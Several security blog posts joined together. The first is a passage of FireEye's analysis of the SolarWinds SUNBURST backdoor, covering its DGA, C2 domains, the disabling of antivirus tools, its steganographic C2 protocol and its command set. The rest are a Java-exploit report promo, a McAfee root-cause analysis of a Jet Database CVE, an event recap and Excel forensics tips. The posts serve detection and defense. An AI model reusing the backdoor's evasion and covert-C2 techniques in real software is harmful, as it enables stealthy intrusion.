This can be done alongside baselining and normalization of ASN’s used for legitimate remote access to help identify suspicious activity.
Lateral Movement Using Different Credentials Once the attacker gained access to the network with compromised credentials, they moved laterally using multiple different credentials.
The credentials used for lateral movement were always different from those used for remote access.
Detection Opportunity Organizations can use HX’s LogonTracker module to graph all logon activity and analyze systems displaying a one-to-many relationship between source systems and accounts.
This will uncover any single system authenticating to multiple systems with multiple accounts, a relatively uncommon occurrence during normal business operations.
Temporary File Replacement and Temporary Task Modification
The attacker used a temporary file replacement technique to remotely execute utilities: they replaced a legitimate utility with theirs, executed their payload, and then restored the legitimate original file.
They similarly manipulated scheduled tasks by updating an existing legitimate task to execute their tools and then returning the scheduled task to its original configuration.
They routinely removed their tools, including removing backdoors once legitimate remote access was achieved.
Detection Opportunity Defenders can examine logs for SMB sessions that show access to legitimate directories and follow a delete-create-execute-delete-create pattern in a short amount of time.
Additionally, defenders can monitor existing scheduled tasks for temporary updates, using frequency analysis to identify anomalous modification of tasks.
Tasks can also be monitored to watch for legitimate Windows tasks executing new or unknown binaries.
This campaign’s post compromise activity was conducted with a high regard for operational security, in many cases leveraging dedicated infrastructure per intrusion.
This is some of the best operational security that FireEye has observed in a cyber attack, focusing on evasion and leveraging inherent trust.
However, it can be detected through persistent defense.
In-Depth Malware Analysis SolarWinds.
Orion.
Core.
BusinessLayer.dll (b91ce2fa41029f6955bff20079468448) is a SolarWinds-signed plugin component of the Orion software framework that contains an obfuscated backdoor which communicates via HTTP to third party servers.
After an initial dormant period of up to two weeks, it retrieves and executes commands, called “Jobs”, that include the ability to transfer and execute files, profile the system, and disable system services.
The backdoor’s behavior and network protocol blend in with legitimate SolarWinds activity, such as by masquerading as the Orion Improvement Program (OIP) protocol and storing reconnaissance results within plugin configuration files.
The backdoor uses multiple blocklists to identify forensic and anti-virus tools via processes, services, and drivers.
Unique Capabilities Subdomain DomainName Generation Algorithm (DGA) is performed to vary DNS requests CNAME responses point to the C2 domain for the malware to connect to The IP block of A record responses controls malware behavior DGA encoded machine domain name, used to selectively target victims Command and control traffic masquerades as the legitimate Orion Improvement Program Code hides in plain site by using fake variable names and tying into legitimate components Delivery and Installation Authorized system administrators fetch and install updates to SolarWinds Orion via packages distributed by SolarWinds’s website.
The update package CORE-2019.4.5220.20574-SolarWinds-Core-v2019.4.5220-Hotfix5.msp (02af7cec58b9a5da1c542b5a32151ba1) contains the SolarWinds.
Orion.
Core.
BusinessLayer.dll described in this report.
After installation, the Orion software framework executes the .NET program SolarWinds.
BusinessLayerHost.exe to load plugins, including SolarWinds.
Orion.
Core.
BusinessLayer.dll.
This plugin contains many legitimate namespaces, classes, and routines that implement functionality within the Orion framework.
Hidden in plain sight, the class SolarWinds.
Orion.
Core.
BusinessLayer.
OrionImprovementBusinessLayer implements an HTTP-based backdoor.
Code within the logically unrelated routine SolarWinds.
Orion.
Core.
BusinessLayer.
BackgroundInventory.
InventoryManager.
RefreshInternal invokes the backdoor code when the Inventory Manager plugin is loaded.
SolarWinds.
Orion.
Core.
BusinessLayer.dll is signed by SolarWinds, using the certificate with serial number 0f:
e9:73:75:20:22:a6:06:ad:f2:a3:6e:34:5d:c0:ed.
The file was signed on March 24, 2020.
Initialization On execution of the malicious SolarWinds.
Orion.
Core.
BusinessLayer.
OrionImprovementBusinessLayer.
Initialize method the sample verifies that its lower case process name hashes to the value 17291806236368054941.
This hash value is calculated as the standard FNV-1A 64-bit hash with an additional XOR by 6605813339339102567 after computing the FNV-1A.
This hash matches a process named \"solarwinds.businesslayerhost\".
The sample only executes if the filesystem write time of the assembly is at least 12 to 14 days prior to the current time; the exact threshold is selected randomly from an interval.
The sample continues to check this time threshold as it is run by a legitimate recurring background task.
Once the threshold is met, the sample creates the named pipe 583da945-62af-10e8-4902-a8f205c72b2e to act as a guard that only one instance is running before reading SolarWinds.
Orion.
Core.
BusinessLayer.dll.config from disk and retrieving the XML field appSettings.
The appSettings fields’ keys are legitimate values that the malicious logic re-purposes as a persistent configuration.
The key ReportWatcherRetry must be any value other than 3 for the sample to continue execution.
The sample checks that the machine is domain joined and retrieves the domain name before execution continues.
A userID is generated by computing the MD5 of a network interface MAC address that is up and not a loopback device, the domain name, and the registry value HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography\\MachineGuid.
The userID is encoded via a custom XOR scheme after the MD5 is calculated.
The ReportWatcherPostpone key of appSettings is then read from SolarWinds.
Orion.
Core.
BusinessLayer.dll.config to retrieve the initial, legitimate value.
This operation is performed as the sample later bit packs flags into this field and the initial value must be known in order to read out the bit flags.
The sample then invokes the method Update which is the core event loop of the sample.
DGA and Blocklists The backdoor determines its C2 server using a Domain Generation Algorithm (DGA) to construct and resolve a subdomain of avsvmcloud[.
]com.
The Update method is responsible for initializing cryptographic helpers for the generation of these random C2 subdomains.
Subdomains are generated by concatenating a victim userId with a reversible encoding of the victims local machine domain name.
The attacker likely utilizes the DGA subdomain to vary the DNS response to victims as a means to control the targeting of the malware.
These subdomains are concatenated with one of the following to create the hostname to resolve: .appsync-api.eu-west-1[.]avsvmcloud[.
]com .appsync-api.us-west-2[.]avsvmcloud[.
]com .appsync-api.us-east-1[.]avsvmcloud[.
]com .appsync-api.us-east-2[.]avsvmcloud[.
]com Process name, service name, and driver path listings are obtained, and each value is hashed via the FNV-1a + XOR algorithm as described previously and checked against hardcoded blocklists.
Some of these hashes have been brute force reversed as part of this analysis, showing that these routines are scanning for analysis tools and antivirus engine components.
If a blocklisted process is found the Update routine exits and the sample will continue to try executing the routine until the blocklist passes.
Blocklisted services are stopped by setting their HKLM\\SYSTEM\\CurrentControlSet\\services\\<service_name>\\Start registry entries to value 4 for disabled.
Some entries in the service list if found on the system may affect the DGA algorithms behavior in terms of the values generated.
The list of stopped services is then bit-packed into the ReportWatcherPostpone key of the appSettings entry for the samples’ config file.
If any service was transitioned to disabled the Update method exits and retries later.
The sample retrieves a driver listing via the WMI query Select * From Win32_SystemDriver.
If any blocklisted driver is seen the Update method exits and retries.
If all blocklist tests pass, the sample tries to resolve api.solarwinds.com to test the network for connectivity.
Network Command and Control (C2)
If all blocklist and connectivity checks pass, the sample starts generating domains in a while loop via its DGA.
The sample will delay for random intervals between the generation of domains; this interval may be any random value from the ranges 1 to 3 minutes, 30 to 120 minutes, or on error conditions up to 420 to 540 minutes (9 hours).
The DNS A record of generated domains is checked against a hardcoded list of IP address blocks which control the malware’s behavior.
Records within the following ranges will terminate the malware and update the configuration key ReportWatcherRetry to a value that prevents further execution: 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16 224.0.0.0/3 fc00:: - fe00:: fec0:: - ffc0:: ff00:
: - ff00:: 20.140.0.0/15 96.31.172.0/24 131.228.12.0/22 144.86.226.0/24
Once a domain has been successfully retrieved in a CNAME DNS response the sample will spawn a new thread of execution invoking the method HttpHelper.
Initialize which is responsible for all C2 communications and dispatching.
The HTTP thread begins by delaying for a configurable amount of time that is controlled by the SetTime command.
The HTTP thread will delay for a minimum of 1 minute between callouts.
The malware uses HTTP GET or HTTP POST requests.
If the sample is attempting to send outbound data the content-type HTTP header will be set to \"application/octet-stream\" otherwise to \"application/json\".
A JSON payload is present for all HTTP POST and PUT requests and contains the keys “userId”, “sessionId”, and “steps”.
The “steps” field contains a list of objects with the following keys: “Timestamp”, “Index”, “EventType”, “EventName”, “DurationMs”, “Succeeded”, and “Message”.
The JSON key “EventType” is hardcoded to the value “Orion”, and the “EventName” is hardcoded to “EventManager”.
Malware response messages to send to the server are DEFLATE compressed and single-byte-XOR encoded, then split among the “Message” fields in the “steps” array.
Each “Message” value is Base64 encoded separately.
Not all objects in the “steps” array contribute to the malware message – the integer in the “Timestamp” field must have the 0x2 bit set to indicate that the contents of the “Message” field are used in the malware message.
Step objects whose bit 0x2 is clear in the Timestamp field contain random data and are discarded when assembling the malware response.
Steganography In observed traffic these HTTP response bodies attempt to appear like benign XML related to .NET assemblies, but command data is actually spread across the many GUID and HEX strings present.
Commands are extracted from HTTP response bodies by searching for HEX strings using the following regular expression: \"\\{[0-9a-f-]{36}\\}\"|\"[0-9a-f]{32}\"|\"[0-9a-f]{16}\".
Command data is spread across multiple strings that are disguised as GUID and HEX strings.
All matched substrings in the response are filtered for non HEX characters, joined together, and HEX-decoded.
The first DWORD value shows the actual size of the message, followed immediately with the message, with optional additional junk bytes following.
The extracted message is single-byte XOR decoded using the first byte of the message, and this is then DEFLATE decompressed.
The first character is an ASCII integer that maps to the JobEngine enum, with optional additional command arguments delimited by space characters.
Commands are then dispatched to a JobExecutionEngine based upon the command value as described next.
Supported Commands Command Value Operation Idle 0
No operation Exit 1 Terminate the current thread.
SetTime 2 Sets the delay time between main event loop executions Delay is in seconds, and varies random between [.9 * <delay>, 1.1 * <delay>].
If the delay is < 300 it is doubled on the next execution through the loop, this means it should settle onto an interval of around [5, 10] minutes.
There is a second, unrelated delay routine that delays for a random interval between [16hrs, 83hrs] CollectSystemDescription 3 Profile the local system including hostname, username, OS version, MAC addresses, IP address, DHCP configuration, and domain information.
UploadSystemDescription 4 Perform a HTTP request to the specified URL, parse the results and compare components against unknown hashed values.
Format a report and send to the C2 server.
RunTask 5 Starts a new process with the given file path and arguments GetProcessByDescription 6 Returns a process listing.
If no arguments are provided returns just the PID and process name.
If an argument is provided it also returns the parent PID and username and domain for the process owner.
KillTask 7 Terminate the given process, by PID.
GetFileSystemEntries 8 Given a path and an optional match pattern recursively list files and directories WriteFile 9 Given a file path and a Base64 encoded string write the contents of the Base64 decoded string to the given file path.
Write using append mode.
Delay for [1s, 2s] after writing is done.
FileExists 10 Tests whether the given file path exists.
DeleteFile 11 Deletes the specified file path.
GetFileHash 12 Compute the MD5 of a file at a given path and return result as a HEX string.
If an argument is provided, it is the expected MD5 hash of the file and returns an error if the calculated MD5 differs.
ReadRegistryValue 13
Arbitrary registry read from one of the supported hives SetRegistryValue 14
Arbitrary registry write from one of the supported hives.
DeleteRegistryValue 15
Arbitrary registry delete from one of the supported hives GetRegistrySubKeyAndValueNames 16 Returns listing of subkeys and value names beneath the given registry path Reboot 17 Attempts to immediately trigger a system reboot.
Indicators and Detections to Help the Community To empower the community to detect this supply chain backdoor, we are publishing indicators and detections to help organizations identify this backdoor and this threat actor.
The signatures are a mix of Yara, IOC, and Snort formats.
A list of the detections and signatures are available on the FireEye GitHub repository found here .
We are releasing detections and will continue to update the public repository with overlapping detections for host and network-based indicators as we develop new or refine existing ones.
We have found multiple hashes with this backdoor and we will post updates of those hashes.
MITRE ATT&CK Techniques Observed ID Description T1012 Query Registry T1027 Obfuscated Files or Information T1057 Process Discovery T1070.004 File Deletion T1071.001 Web Protocols T1071.004 Application Layer Protocol: DNS T1083 File and Directory Discovery T1105
Ingress Tool Transfer T1132.001 Standard Encoding T1195.002 Compromise Software Supply Chain T1518 Software Discovery T1518.001 Security Software Discovery T1543.003 Windows Service T1553.002 Code Signing T1568.002 Domain Generation Algorithms T1569.002 Service Execution T1584 Compromise Infrastructure Immediate Mitigation Recommendations Prior to following SolarWind’s recommendation to utilize Orion Platform release 2020.2.1 HF 1, which is currently available via the SolarWinds Customer Portal, organizations should consider preserving impacted devices and building new systems using the latest versions.
Applying an upgrade to an impacted box could potentially overwrite forensic evidence as well as leave any additional backdoors on the system.
In addition, SolarWinds has released additional mitigation and hardening instructions here .
In the event you are unable to follow SolarWinds’ recommendations, the following are immediate mitigation techniques that could be deployed as first steps to address the risk of trojanized SolarWinds software in an environment.
If attacker activity is discovered in an environment, we recommend conducting a comprehensive investigation and designing and executing a remediation strategy driven by the investigative findings and details of the impacted environment.
Ensure that SolarWinds servers are isolated / contained until a further review and investigation is conducted.
This should include blocking all Internet egress from SolarWinds servers.
If SolarWinds infrastructure is not isolated, consider taking the following steps: Restrict scope of connectivity to endpoints from SolarWinds servers, especially those that would be considered Tier 0 / crown jewel assets Restrict the scope of accounts that have local administrator privileged on SolarWinds servers.
Block Internet egress from servers or other endpoints with SolarWinds software.
Consider (at a minimum) changing passwords for accounts that have access to SolarWinds servers / infrastructure.
Based upon further review / investigation, additional remediation measures may be required.
If SolarWinds is used to managed networking infrastructure, consider conducting a review of network device configurations for unexpected / unauthorized modifications.
Note, this is a proactive measure due to the scope of SolarWinds functionality, not based on investigative findings.
Acknowledgements This blog post was the combined effort of numerous personnel and teams across FireEye coming together.
Special thanks to: Andrew Archer, Doug Bienstock, Chris DiGiamo, Glenn Edwards, Nick Hornick, Alex Pennino, Andrew Rector, Scott Runnels, Eric Scales, Nalani Fraser, Sarah Jones, John Hultquist, Ben Read, Jon Leathery, Fred House, Dileep Jallepalli, Michael Sikorski, Stephen Eckels, William Ballenthin, Jay Smith, Alex Berry, Nick Richard, Isif Ibrahima, Dan Perez, Marcin Siedlarz, Ben Withnell, Barry Vengerik, Nicole Oppenheim, Ian Ahl, Andrew Thompson, Matt Dunwoody, Evan Reese, Steve Miller, Alyssa Rahman, John Gorman, Lennard Galang, Steve Stone, Nick Bennett, Matthew McWhirt, Mike Burns, Omer Baig.
Also special thanks to Nick Carr, Christopher Glyer, and Ramin Nafisi from Microsoft.
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Over the last couple of decades, Java has become the lingua franca of software development, a near-universal platform that works across different operating systems and devices.
With its “write once, run anywhere” mantra, Java has drawn a horde of developers looking to serve a large user base as efficiently as possible.
Cyber attackers like Java for many of the same reasons.
With a wide pool of potential targets, the platform has become the vehicle of choice for quickly dispersing lucrative crimeware packages.
In our continuing mission to equip security professionals against today’s advanced cyber threats, FireEye has published a free report, “ Brewing Up Trouble: Analyzing Four Widely Exploited Java Vulnerabilities .”
The report outlines four commonly exploited Java vulnerabilities and maps out the step-by-step infection flow of exploits kits that leverage them.
Download the paper to learn more about these vulnerabilities: CVE-2013-2471 , which allows attackers to override Java’s getNumDataElements() method, leading to memory corruption.
CVE-2013-2465 ,  which involves insufficient bounds checks in the storeImageArray() function.
This vulnerability is used by White Lotus and other exploit kits.
CVE-2012-4681 ,  which allows attackers to bypass security checks using the findMethod () function.
CVE-2013-2423 , which  arises due to insufficient validation in the findStaticSetter () method, leading to Java type confusion.
This vulnerability employed by RedKit and other exploits kits.
As explained in the paper, Java’s popularity among the developers and widespread use in Web browsers all but  guarantees continuing interest from threat actors.
Motivated by the profits, cyber attackers are bound to adopt more intelligent exploit kits.
And these attacks will continue to mushroom as more threat actors scramble for a piece of the crimeware pie.
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By Hardik Shah , Charles McFarland and Thomas Roccia on Jul 30, 2019 In September 2018, the Zero Day Initiative published a proof of concept for a vulnerability in Microsoft’s Jet Database Engine.
Microsoft released a patch in October 2018.
We investigated this flaw at that time to protect our customers.
We were able to find some issues with the patch and reported that to Microsoft, which resulted in another vulnerability, CVE-2019-0576 , which was fixed on 8-Jan-2018
(Microsoft Jan 2019 Patch Tuesday).
The vulnerability exploits the Microsoft Jet Database Engine, a component used in many Microsoft applications, including Access.
The flaw allows an attacker to execute code to escalate privileges or to download malware.
We do not know if the vulnerability is used in any attacks; however, the proof of concept code is widely available.
Overview To exploit this vulnerability, an attacker needs to use social engineering techniques to convince a victim to open a JavaScript file which uses an ADODB connection object to access a malicious Jet Database file.
Once the malicious Jet database file is accessed, it calls the vulnerable function in msrd3x40.dll which can lead to exploitation of this vulnerability.
Although the available proof of concept causes a crash in wscript.exe, any application using this DLL is susceptible to the attack.
The following error message indicates the vulnerability was successfully triggered: The message shows an access violation occurred in the vulnerable DLL.
This vulnerability is an “out-of-bounds write ,” which can be triggered via OLE DB, the API used to access data in many Microsoft applications.
This type of vulnerability indicates that data can be written outside of the intended buffer, resulting in a crash.
The cause of the crash is the maliciously crafted Jet database file.
The file exploits an index field in the Jet database file format with an unexpectedly large number, resulting in an out-of-bounds write and, ultimately, the preceding crash.
The following diagram provides a high-level view of how the exploit works: Exploit in Action The proof of concept code contains one JavaScript file (poc.js), which calls a second file (group1).
This is the Jet database file.
By running poc.js through wscript.exe, we can trigger the crash.
As we see in the preceding image, we can review debug information to determine the function that crashes is “msrd3x40!TblPage::CreateIndexes.”
Furthermore, we can determine that the program is trying to write data and failing.
Specifically, we can see that the program is using the “esi” register to write to the location [edx+ecx*4+574h], but that location is not accessible.
We need to understand how this location is constructed to provide clues to the root cause.
The debug information shows that register ecx contains the value 0x00002300.
Edx is a pointer to memory that we will see again later.
Finally, they are added together with an offset of 574 hexadecimal bytes to reference the memory location.
From this information, we can guess the type of data that is stored there.
It appears to be an array in which each variable is 4 bytes long and starts at the location edx+574h.
While tracking the program, we determined the value 0x00002300 comes from the proof-of-concept file group1.
We know that the program attempts to write out of bounds and we know where the attempt occurs.
Now we need to determine why the program attempts to write at that location.
We investigate the user-provided data of 0x00002300 to understand its purpose.
To do this we must understand the Jet database file.
Analyzing the Jet Database File Many researchers have extensively analyzed the Jet database file structure.
Some of the details of previous work can be found at the following links: Jabakobob.net Brian B GitHub To summarize, a Jet database file is organized as a collection of pages, as shown in the following image: The header page contains various information related to the file: After the header come 126 bytes, RC4 encrypted, with the specific key 0x6b39dac7, which is the same for every JetDB file.
Comparing the key value with the proof-of-concept file, we can identify that group1 is a Jet Version 3 file.
Further examination leads to a Table Definition Pages section, which describes various data structures for a table.
(Click here for details.)
The table definition data has various fields, including two of note: Index Count and Real Index Count.
We can determine the value of these in our proof-of-concept file.
When we check this with the group1 file, we see following: There are total of two indexes in the Index Count.
When we parse both indexes we see the familiar value of 0x00002300: Our offending value 0x00230000 is the index number for index2 in the table.
This index seems rather large and leads to the crash.
Why does it crash the program?
Further parsing the file, we find the names of the two indexes: Debugging With a debugger attached, we can see that first program calls the function “msrd3x40!operator new.”
This allocates memory that stores the memory pointer address in eax: After the memory is allocated, the program creates the new index: This index number is used later in the execution.
The function msrd3x40!Index::Restore copies that index number to the index address + 24h.
This process is repeated in a loop for all indexes.
First it calls the “new” operator, which allocates the memory.
It then creates an index on that address and moves the index number to the base address of the index +24h.
We see this move in the following code, which shows the malicious index value copied to newly created index: Once successfully moved, the function msrd3x40!NamedObject::Rename is called and copies the index name value to the index address +40h:
If we look at the esi register, we see it points to the address of the index.
The ecx register has a value of [esi+24h], which is the index number:
After a few more instructions, we can observe the original crash instructions.
Edx points to the memory location.
Ecx contains a very large number from the file group1.
The program tries to access memory at location [edx+ecx*4+574h], which will cause the out-of-bounds write and the program crashes: What is happening with the data the program tries to write?
If we watch the instructions, we see that program tries to write the value of esi to [edx+ecx*4+574].
If we print esi or the previous value, we see that it contains the index name ParentIdName, which we saw in group1:
Ultimately, the program crashes while trying to process ParentIDName with a very large index number.
The logic: Allocate the memory and get the pointer to the start of the memory location.
From the start of memory location +574h, the program saves pointers to index names with each occupying 4 bytes multiplied by the index number mentioned in the file.
If the index number is very large, as in this case, and no validation is done, then the program will try to write out of bounds and crash.
Conclusion This is a logic error and such errors are sometimes hard to catch.
Many developers take extra precautions to avoid these types of bugs in their code.
It is even more unfortunate when these bugs lead to serious security issues such as with CVE-2018-8423.
When these issues are discovered and patched, we recommend applying the vendor patch as soon as possible to reduce your security risks.
Microsoft patches can be downloaded and installed from the following locations for respective CVEs: CVE-2018-8423 https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8423 CVE-2019-0576 https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0576 McAfee Detection: McAfee Network Security Platform customers are protected from this vulnerability by Signature IDs 0x45251700 – HTTP: Microsoft JET Database Engine Remote Code Execution Vulnerability (CVE-2018-8423) and 0x4525890 – HTTP: Microsoft JET Database Engine Remote Code Execution Vulnerability (CVE-2019-0576).
McAfee AV detects malicious file as BackDoor-DKI.dr .
McAfee HIPS, GBOP (Generic Buffer Overflow Protection) feature might cover this, depending on the process used to exploit the vulnerability.
We thank Steve Povolny of McAfee’s Advanced Threat Research team, and Bing Sun and Imran Ebrahim of McAfee’s Hybrid Gateway Security team for their support and guidance with this analysis.
References https://github.com/brianb/mdbtools/blob/master/HACKING http://jabakobob.net/mdb/table-page.html
On March 15, Mandiant hosted an executive briefing over breakfast in New York City.
The location in the W Hotel in Downtown NYC overlooked the 9/11 Memorial and the rising One World Trade Center-an arresting view and a unique setting for this event.
Former Secretary of Homeland Security Michael Chertoff kicked off the morning by discussing his perspective on the global threat landscape.
He touched on Iran's cyber warfare capabilities in particular.
He remarked on recent alleged Iranian attacks against the BBC and said that there is no point in debating the reality of cyber war .
If one side believes they are engaged in such a battle, then that is reality-and \"Iran clearly believes they are already participants in cyber war.\" He also noted that Iran's capabilities are already quite advanced.
After being hit by Stuxnet, Iran views it as imperative to be prepared to respond in kind.
It is always nice to see someone like Mr. Chertoff connecting the dots so articulately on a technical level.
At one point, he commented about how important it was to not just look for malware.
Smart responders, he said, need to look for all trace evidence of compromise in order to fully understand the scope of an incident.
Coincidentally, this is trend #1 in our recent M-Trends report , and Mr. Chertoff described the problem with a malware-centric approach perfectly.
Richard Bejtlich spoke next and used a role-playing exercise to help the audience understand the challenge of responding to targeted threats.
His premise was simple:
\"Pretend I'm a law enforcement agent who comes to your office and tells you that you are compromised, and that I have your own internal documents as evidence.
What do you do next?\
"
This provoked discussion and the audience started asking questions about the nature of the intrusion and what they should do to respond.
As we explored the scenario through Q&A, it became clear that most organizations lack the visibility they need to adequately respond to attacks.
What about your organization?
If you found out today that you had been the victim of a substantial breach, where would you look first?
How would you validate the intrusion?
How could you discover the scopeor identify what had been stolen?
Those of you who have attended Mandiant events know that we are pretty light on the product pitches (we often don't mention our products at all).
However, we do have a product that helps answer the questions that Richard was posing.
Mandiant Intelligent Response has helped hundreds of companies answer the question \"Now What?
?\" when they are on the receiving end of the scenario Richard outlined in New York.
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Incident response investigations don’t always involve standard host-based artifacts with fully developed parsing and analysis tools.
At FireEye Mandiant, we frequently encounter incidents that involve a number of systems and solutions that utilize custom logging or artifact data.
Determining what happened in an incident involves taking a dive into whatever type of data we are presented with, learning about it, and developing an efficient way to analyze the important evidence.
One of the most effective tools to perform this type of analysis is one that is in almost everyone’s toolkit: Microsoft Excel.
In this article we will detail some tips and tricks with Excel to perform analysis when presented with any type of data.
Summarizing Verbose Artifacts Tools such as FireEye Redline include handy timeline features to combine multiple artifact types into one concise timeline.
When we use individual parsers or custom artifact formats, it may be tricky to view multiple types of data in the same view.
Normalizing artifact data with Excel to a specific set of easy-to-use columns makes for a smooth combination of different artifact types.
Consider trying to review parsed file system, event log, and Registry data in the same view using the following data.
$SI Created $SI Modified File Name File Path File Size File MD5 File Attributes File Deleted 2019-10-14 23:13:04 2019-10-14 23:33:45 Default.rdp C:\\Users\\ attacker\\Documents\\ 485 c482e563df19a40 1941c99888ac2f525 Archive FALSE Event Gen Time Event ID Event Message Event Category Event User Event System 2019-10-14 23:13:06 4648
A logon was attempted using explicit credentials.
Subject: Security ID:
DomainCorp\\Administrator
Account Name:  Administrator Account Domain:  DomainCorp
Logon ID:  0x1b38fe
Logon GUID:  {00000000-0000-0000-0000-000000000000} Account Whose Credentials Were Used: Account Name:
VictimUser Account Domain:
DomainCorp
Logon GUID:  {00000000-0000-0000-0000-000000000000} Target Server: Target Server Name:
DestinationServer Additional Information: Process Information: Process ID:
0x5ac Process Name:  C:\\Program Files\\Internet Explorer\\iexplore.exe Network Information: Network Address: - Port
:   - Logon Administrator SourceSystem KeyModified
Key Path KeyName ValueName ValueText Type 2019-10-14 23:33:46 HKEY_USER\\Software\\Microsoft\\Terminal Server
Client\\Servers\\ DestinationServer UsernameHInt
VictimUser REG_SZ Since these raw artifact data sets have different column headings and data types, they would be difficult to review in one timeline.
If we format the data using Excel string concatenation, we can make the data easy to combine into a single timeline view.
To format the data, we can use the “&” operation with a function to join information we may need into a “Summary” field.
An example command to join the relevant file system data delimited by ampersands could be “=D2 & \" | \" & C2 & \" | \" & E2 & \" | \" & F2 & \" | \" & G2 & \" | \" & H2”.
Combining this format function with a “Timestamp” and “Timestamp Type” column will complete everything we need for streamlined analysis.
Timestamp Timestamp Type Event 2019-10-14 23:13:04 $SI Created C:\\Users\\attacker\\Documents\\ | Default.rdp | 485 | c482e563df19a401941c99888ac2f525  |
Archive | FALSE 2019-10-14 23:13:06 Event Gen Time 4648 | A logon was attempted using explicit credentials.
Subject: Security ID:
DomainCorp\\Administrator
Account Name:  Administrator Account Domain:  DomainCorp
Logon ID:  0x1b38fe
Logon GUID:  {00000000-0000-0000-0000-000000000000} Account Whose Credentials Were Used: Account Name:
VictimUser Account Domain:
DomainCorp
Logon GUID:  {00000000-0000-0000-0000-000000000000} Target Server: Target Server Name:
DestinationServer Additional Information: Process Information: Process ID:
0x5ac Process Name:  C:\\Program Files\\Internet Explorer\\iexplore.exe Network Information: Network Address: - Port:   - | Logon | Administrator | SourceSystem 2019-10-14 23:33:45 $
SI Modified C:\\Users\\attacker\\Documents\\ | Default.rdp | 485 | c482e563df19a401941c99888ac2f525  |
Archive | FALSE 2019-10-14 23:33:46 KeyModified HKEY_USER\\Software\\Microsoft\\Terminal Server Client\\Servers\\ |
DestinationServer | UsernameHInt | VictimUser
After sorting by timestamp, we can see evidence of the “DomainCorp\\Administrator” account connecting from “SourceSystem” to “DestinationServer” with the “DomainCorp\\VictimUser” account via RDP across three artifact types.
Time Zone Conversions One of the most critical elements of incident response and forensic analysis is timelining.
Temporal analysis will often turn up new evidence by identifying events that precede or follow an event of interest.
Equally critical is producing an accurate timeline for reporting.
Timestamps and time zones can be frustrating, and things can get confusing when the systems being analyzed span various time zones.
Mandiant tracks all timestamps in Coordinated Universal Time (UTC) format in its investigations to eliminate any confusion of both time zones and time adjustments such as daylight savings and regional summer seasons.
Of course, various sources of evidence do not always log time the same way.
Some may be local time, some may be UTC, and as mentioned, data from sources in various geographical locations complicates things further.
When compiling timelines, it is important to first know whether the evidence source is logged in UTC or local time.
If it is logged in local time, we need to confirm which local time zone the evidence source is from.
Then we can use the Excel TIME()  formula to convert timestamps to UTC as needed.
This example scenario is based on a real investigation where the target organization was compromised via phishing email, and employee direct deposit information was changed via an internal HR application.
In this situation, we have three log sources: email receipt logs, application logins, and application web logs.
The email logs are recorded in UTC and contain the following information: The application logins are recorded in Eastern Daylight Time (EDT) and contain the following: The application web logs are also recorded in Eastern Daylight Time (EDT) and contain the following: To take this information and turn it into a master timeline, we can use the CONCAT function (an alternative to the ampersand concatenation used previously) to make a summary of the columns in one cell for each log source, such as this example formula for the email receipt logs: This is where checking our time zones for each data source is critical.
If we took the information as it is presented in the logs and assumed the timestamps were all in the same time zone and created a timeline of this information, it would look like this: As it stands the previous screenshot, we have some login events to the HR application, which may look like normal activity for the employees.
Then later in the day, they receive some suspicious emails.
If this were hundreds of lines of log events, we would risk the login and web log events being overlooked as the time of activity precedes our suspected initial compromise vector by a few hours.
If this were a timeline used for reporting, it would also be inaccurate.
When we know which time zone our log sources are in, we can adjust the timestamps accordingly to reflect UTC.
In this case, we confirmed through testing that the application logins and web logs are recorded in EDT, which is four hours behind UTC, or “UTC-4”.
To change these to UTC time, we just need to add four hours to the time.
The Excel TIME function makes this easy.
We can just add a column to the existing tables, and in the first cell we type “=A2+TIME(4,0,0)”.
Breaking this down:
=A2 Reference cell A2 (in this case our EDT timestamp).
Note this is not an absolute reference, so we can use this formula for the rest of the rows.
+TIME This tells Excel to take the value of the data in cell A2 as a “time” value type and add the following amount of time to it: (4,0,0) The TIME function in this instance requires three values, which are, from left to right: hours, minutes, seconds.
In this example, we are adding 4 hours, 0 minutes, and 0 seconds.
Now we have a formula that takes the EDT timestamp and adds four hours to it to make it UTC.
Then we can replicate this formula for the rest of the table.
The end result looks like this: When we have all of our logs in the same time zone, we are ready to compile our master timeline.
Taking the UTC timestamps and the summary events we made, our new, accurate timeline looks like this: Now we can clearly see suspicious emails sent to (fictional) employees Austin and Dave.
A few minutes later, Austin’s account logs into the HR application and adds a new bank account.
After this, we see the same email sent to Jake.
Soon after this, Jake’s account logs into the HR application and adds the same bank account information as Austin’s.
Converting all our data sources to the same time zone with Excel allowed us to quickly link these events together and easily identify what the attacker did.
Additionally, it provided us with more indicators, such as the known-bad bank account number to search for in the rest of the logs.
Pro Tip: Be sure to account for log data spanning over changes in UTC offset due to regional events such as daylight savings or summer seasons.
For example, local time zone adjustments will need to change for logs in United States Eastern Time from Virginia, USA from +TIME(5,0,0) to +TIME(4,0,0) the first weekend in March every year and back from +TIME(4,0,0) to +TIME(5,0,0) the first weekend in November to account for daylight and standard shifts .
CountIf for Log Baselining When reviewing logs that record authentication in the form of a user account and timestamp, we can use COUNTIF to establish simple baselines to identify those user accounts with inconsistent activity.
In the example of user logons that follows, we'll use the formula \"=COUNTIF($B$2:$B$25,B2)\" to establish a historical baseline.
Here is a breakdown of the parameters for this COUNTIF formula located in C2 in our example: COUNTIF
This Excel formula counts how many times a value exists in a range of cells.
$B$2:$B$25 This is the entire range of all cells, B2 through B25, that we want to use as a range to search for a specific value.
Note the use of \"$\" to ensure that the start and end of the range are an absolute reference and are not automatically updated by Excel if we copy this formula to other cells.
B2
This is the cell that contains the value we want to search for and count occurrences of in our range of $B$2:$B$25.
Note that this parameter is not an absolute reference with a preceding \"$\".
This allows us to fill the formula down through all rows and ensure that we are counting the applicable user name.
To summarize, this formula will search the username column of all logon data and count how many times the user of each logon has logged on in total across all data points.
When most user accounts log on regularly, a compromised account being used to logon for the first time may clearly stand out when reviewing total log on counts.
If we have a specific time frame in mind, it may be helpful to know which accounts first logged on during that time.
The COUNTIF formula can help track accounts through time to identify their first log on which can help identify rarely used credentials that were abused for a limited time frame.
We'll start with the formula \"=COUNTIF($B$2:$B2,B2)\" in cell D3.
Here is a breakdown of the parameters  for this COUNTIF formula.
Note that the use of \"$\" for absolute referencing is slightly different for the range used, and that is an importance nuance: COUNTIF
This Excel formula counts how many times a value exists in a range of cells.
$B$2:$B2
This is the range of cells, B2 through B2, that we want to start with.
Since we want to increase our range as we go through the rows of the log data, the ending cell row number (2 in this example) is not made absolute.
